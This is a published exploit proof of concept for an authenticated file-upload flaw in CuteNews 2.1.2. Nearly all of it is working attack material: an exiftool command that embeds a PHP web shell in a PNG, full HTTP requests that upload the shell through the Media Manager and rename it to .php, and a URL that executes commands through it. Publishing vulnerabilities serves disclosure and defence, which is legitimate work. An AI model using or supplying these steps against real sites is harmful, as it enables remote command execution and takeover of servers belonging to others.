CuteNews 2.1.2 - Authenticated Arbitrary File Upload

# Exploit Title: CuteNews 2.1.2 - Authenticated Arbitrary File Upload
# Date: 2020-05-12
# Author: Vigov5 - SunCSR Team
# Vendor Homepage: https://cutephp.com
# Software Link: https://cutephp.com/click.php?cutenews_latest
# Version: v2.1.2
# Tested on: Ubuntu 18.04 / Kali Linux

Description:
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In the "Media Manager" area, Users with low privileges (Editor) can bypass
file upload restrictions, resulting in arbitrary command execution.


[PoC]
--------------------------------------------------------------------------------

# Step 1. Create shell  $ exiftool -Comment='<?php echo "<pre>";
system($_GET['cmd']); ?>' shell.png;
# Step 2. Upload Shell (# Minimum editor privileges)

POST /CuteNews/index.php HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------15868731501112834542363527723
Content-Length: 3775
Origin: [target]
DNT: 1
Connection: close
Referer: [target]/CuteNews/index.php
Cookie: CUTENEWS_SESSION=k4rgekaj68tr9ln8j0jlme7e7h
Upgrade-Insecure-Requests: 1

-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="mod"

media
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="opt"

media
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="folder"


-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="CKEditorFuncNum"


-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="callback"


-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="style"


-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="faddm"


-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="imgopts"


-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="__signature_key"

7ffa4c94a150c20f0c1b51036f6e4597-editor
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="__signature_dsi"

48d87ded04d15407f258c57efa3216e8
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="upload_from_inet"


-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="upload_file[]"; filename="shell.png"
Content-Type: image/png

[Content Image Here ! ]
-----------------------------15868731501112834542363527723
Content-Disposition: form-data; name="upload"

Upload file(s)
-----------------------------15868731501112834542363527723--

# Step 3. Change filename shell.jpg to shell.php

POST /CuteNews/index.php HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 241
Origin: [target]
DNT: 1
Connection: close
Referer: http://[target]CuteNews/index.php
Cookie: CUTENEWS_SESSION=k4rgekaj68tr9ln8j0jlme7e7h
Upgrade-Insecure-Requests: 1

mod=media&opt=media&folder=&CKEditorFuncNum=&callback=&style=&faddm=&imgopts=&__signature_key=ebdaf403dcda492fabe8f1d96399b16b-editor&__signature_dsi=27a9035f2b130dd1477ad2a37a5721da&pending=rename&ids%5B0%5D=shell.png&place%5B0%5D=shell.php

# Step 4. Execute the command with the path : http://
[target]/CuteNews/uploads/shell.php?cmd=id